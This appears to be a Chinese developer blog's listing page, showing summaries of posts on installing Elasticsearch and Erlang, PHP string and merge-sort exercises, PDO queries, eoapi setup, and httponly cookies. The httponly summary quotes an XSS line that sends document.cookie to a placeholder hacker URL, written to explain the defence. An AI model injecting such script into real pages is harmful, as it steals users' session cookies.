摘要: 1. 安装Java JDK 移步 :sdfa 2. 下载elasticsearch url : https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch 5.1.2.zip 3. 解压安装installation 3.1 由 阅读全文
posted @ 2017-01-25 13:00 Thomas_188 阅读(191) 评论(0) 推荐(0) 编辑
摘要: 1. 安装erlang erlang源码包: http://erlang.org/download/otp_src_19.2.tar.gz 解压:tar zxvf /usr/local/src/soft_package/otp_src_19.2.tar.gz C /usr/local/src/ 编译 阅读全文
posted @ 2017-01-11 13:15 Thomas_188 阅读(148) 评论(0) 推荐(0) 编辑
摘要: 1. 给一个句子,翻转每个单词,单词内部不翻转 阅读全文
posted @ 2017-01-09 21:38 Thomas_188 阅读(226) 评论(0) 推荐(0) 编辑
摘要: 1. 字符串str的前面任意部分挪到后面形成的字符串叫做字符串str的旋转词 阅读全文
posted @ 2017-01-08 22:26 Thomas_188 阅读(247) 评论(0) 推荐(0) 编辑
摘要: 1.两个字符串每个字符出现的次数一样 $str1 = "ab'c4 "; $str2 = "cb 'a4"; $ret = isBX($str1, $str2); var_dump($ret); function isBX($str1, $str2) { $str1_length = strlen( 阅读全文
posted @ 2017-01-08 21:45 Thomas_188 阅读(326) 评论(0) 推荐(0) 编辑
摘要: 1.归并排序 $a = [1, 4, 6, 8, 10, 14, 16]; $b = [2, 3, 5, 8, 9, 11]; function merge_sort($a, $b) { $a_i = $b_i = 0; $count_a = count($a); $count_b = count( 阅读全文
posted @ 2017-01-01 20:55 Thomas_188 阅读(1108) 评论(0) 推荐(1) 编辑
摘要: 1.表结构 2.数据量 3.代码 先从学生表里面查出300名学生,然后找出每个学生的班级信息,然后merge起来 3.性能对比 第一种:每次取一条 第二种:一次全去除 4.总结 不能循环取从数据库中取数据,性能会很差,与mysql建立连接很耗时,IO次数多也耗性能。 阅读全文
posted @ 2016-12-31 22:57 Thomas_188 阅读(1045) 评论(0) 推荐(0) 编辑
摘要: 1.pdo连接查询 $pdo_sql = "mysql:host=localhost;port=3306;dbname=test"; $user = 'root'; $password = ''; try { $pdo = new PDO($pdo_sql, $user, $password); $ 阅读全文
posted @ 2016-12-31 09:54 Thomas_188 阅读(136) 评论(0) 推荐(0) 编辑
摘要: 为了方便和前端沟通,临时在局域网搭建了一个接口管理工具,查了一些资料都说eoapi不错,那就试了一下: 1.安装 要在服务器或者自己的电脑,准备web环境,Linux可以是Apache/nginx ,mysql ,php 。 windows可以选择集成安装,可以参考: Linux:http://ww 阅读全文
posted @ 2016-12-29 13:26 Thomas_188 阅读(3896) 评论(0) 推荐(0) 编辑
摘要: 1.生成cookie的时候设置httponly为true 如果脚本王子在A网站写入一段js代码: window.open('黑客的url?c='+document.cookie) 当用户访问到这个页面的时候,就把当前用户在A网站的cookie发送到黑客的网站,这样黑客就顺利拿到这个cookie,就可 阅读全文
posted @ 2016-12-27 15:23 Thomas_188 阅读(147) 评论(0) 推荐(0) 编辑